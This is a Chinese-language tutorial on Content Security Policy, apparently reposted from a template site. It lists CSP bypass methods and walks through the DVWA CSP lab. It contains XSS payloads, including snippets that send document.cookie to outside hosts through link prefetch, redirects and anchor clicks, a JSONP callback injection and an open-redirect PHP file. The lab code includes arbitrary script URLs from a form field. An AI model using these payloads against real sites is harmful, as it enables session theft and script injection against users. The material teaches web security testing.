CSP介绍
Content Security Policy (CSP)内容安全策略,是一个附加的安全层,有助于检测并缓解某些类型的攻击,包括跨站脚本(XSS)和数据注入攻击。
CSP的特点就是他是在浏览器层面做的防护,是和同源策略同一级别,除非浏览器本身出现漏洞,否则不可能从机制上绕过。
CSP只允许被认可的JS块、JS文件、CSS等解析,只允许向指定的域发起请求。
一个简单的CSP规则可能就是下面这样
header("Content-Security-Policy: default-src 'self'; script-src 'self' https://lorexxar.cn;");
其中的规则指令分很多种,每种指令都分管浏览器中请求的一部分。
每种指令都有不同的配置
简单来说,针对不同来源,不同方式的资源加载,都有相应的加载策略。
我们可以说,如果一个站点有足够严格的CSP规则,那么XSS or CSRF就可以从根源上被防止。
但事实真的是这样吗?
CSP Bypass
CSP可以很严格,严格到甚至和很多网站的本身都想相冲突。
为了兼容各种情况,CSP有很多松散模式来适应各种情况。
在便利开发者的同时,很多安全问题就诞生了。
CSP对前端攻击的防御主要有两个:
1、限制js的执行。
2、限制对不可信域的请求。
接下来的多种Bypass手段也是围绕这两种的。
1
header("Content-Security-Policy: default-src 'self '; script-src * ");
天才才能写出来的CSP规则,可以加载任何域的js
<script src="http://lorexxar.cn/evil.js"></script>
随意开火
2
header("Content-Security-Policy: default-src 'self'; script-src 'self' ");
最普通最常见的CSP规则,只允许加载当前域的js。
站内总会有上传图片的地方,如果我们上传一个内容为js的图片,图片就在网站的当前域下了。
alert(1);//
直接加载图片就可以了
<script src='upload/test.js'></script>
3
header(" Content-Security-Policy: default-src 'self '; script-src http://127.0.0.1/static/ ");
当你发现设置self并不安全的时候,可能会选择把静态文件的可信域限制到目录,看上去好像没什么问题了。
但是如果可信域内存在一个可控的重定向文件,那么CSP的目录限制就可以被绕过。
假设static目录下存在一个302文件
Static/302.php
<?php Header("location: ".$_GET['url'])?>
像刚才一样,上传一个test.jpg 然后通过302.php跳转到upload目录加载js就可以成功执行
<script src="static/302.php?url=upload/test.jpg">
4
header("Content-Security-Policy: default-src 'self'; script-src 'self' ");
CSP除了阻止不可信js的解析以外,还有一个功能是组织向不可信域的请求。
在上面的CSP规则下,如果我们尝试加载外域的图片,就会被阻止
<img src="http://lorexxar.cn/1.jpg"> -> 阻止
在CSP的演变过程中,难免就会出现了一些疏漏
<link rel="prefetch" href="http://lorexxar.cn"> (H5预加载)(only chrome)
<link rel="dns-prefetch" href="http://lorexxar.cn"> (DNS预加载)
在CSP1.0中,对于link的限制并不完整,不同浏览器包括chrome和firefox对CSP的支持都不完整,每个浏览器都维护一份包括CSP1.0、部分CSP2.0、少部分CSP3.0的CSP规则。
5
无论CSP有多么严格,但你永远都不知道会写出什么样的代码。
下面这一段是Google团队去年一份关于CSP的报告中的一份范例代码
// <input id="cmd" value="alert,safe string">
var array = document.getElementById('cmd').value.split(',');
window[array[0]].apply(this, array.slice(1));
机缘巧合下,你写了一段执行输入字符串的js。
事实上,很多现代框架都有这样的代码,从既定的标签中解析字符串当作js执行。
angularjs甚至有一个ng-csp标签来完全兼容csp,在csp存在的情况下也能顺利执行。
对于这种情况来说,CSP就毫无意义了
6
header("Content-Security-Policy: default-src 'self'; script-src 'self' ");
或许你的站内并没有这种问题,但你可能会使用jsonp来跨域获取数据,现代很流行这种方式。
但jsonp本身就是CSP的克星,jsonp本身就是处理跨域问题的,所以它一定在可信域中。
<script
src="/path/jsonp?callback=alert(document.domain)//">
</script>
/* API response */
alert(document.domain);//{"var": "data", ...});
这样你就可以构造任意js,即使你限制了callback只获取\w+
的数据,部分js仍然可以执行,配合一些特殊的攻击手段和场景,仍然有危害发生。
唯一的办法是返回类型设置为json格式。
7
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' ");
比起刚才的CSP规则来说,这才是最最普通的CSP规则。
unsafe-inline是处理内联脚本的策略,当CSP中制定script-src允许内联脚本的时候,页面中直接添加的脚本就可以被执行了。
<script>
js code; //在unsafe-inline时可以执行
</script>
既然我们可以任意执行js了,剩下的问题就是怎么绕过对可信域的限制。
1 js生成link prefetch
第一种办法是通过js来生成link prefetch
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//ssssss.com/?" + document.cookie);
document.head.appendChild(n0t);
这种办法只有chrome可以用,但是意外的好用。
2 跳转 跳转 跳转
在浏览器的机制上, 跳转本身就是跨域行为
<script>location.href=http://lorexxar.cn?a+document.cookie</script>
<script>windows.open(http://lorexxar.cn?a=+document.cooke)</script>
<meta http-equiv="refresh" content="5;http://lorexxar.cn?c=[cookie]">
通过跨域请求,我们可以把我们想要的各种信息传出
3 跨域请求
在浏览器中,有很多种请求本身就是跨域请求,其中标志就是href。
var a=document.createElement("a");
a.href='http://xss.com/?cookie='+escape(document.cookie);
a.click();
包括表单的提交,都是跨域请求
CSP漏洞 DVWA靶场
初级篇,如果不看源码的话。看检查器(F12),也可以知道一些被信任的网站。
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.
header($headerCSP);
# https://pastebin.com/raw/R570EE00
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
观察头信息,罗列允许JavaScript的网站 当然你也可以从这里开发者工具来看到这个头
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com ht
此时可以上pastebin网站上自己写一个javascript代码alert(123),保存后记住链接
https://pastebin.com
https://pastebin.com/tV3VNjiB
#如下操作
然后在上面界面中输入链接,结果如下
文章来源:https://www.toymoban.com/news/detail-694992.html
在pastebin上保存的js代码被执行了。那就是因为pastebin网站是被信任的。攻击者可以把恶意代码保存在收信任的网站上,然后把链接发送给用户点击,实现注入。文章来源地址https://www.toymoban.com/news/detail-694992.html
到了这里,关于CSP内容安全策略原理与绕过的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!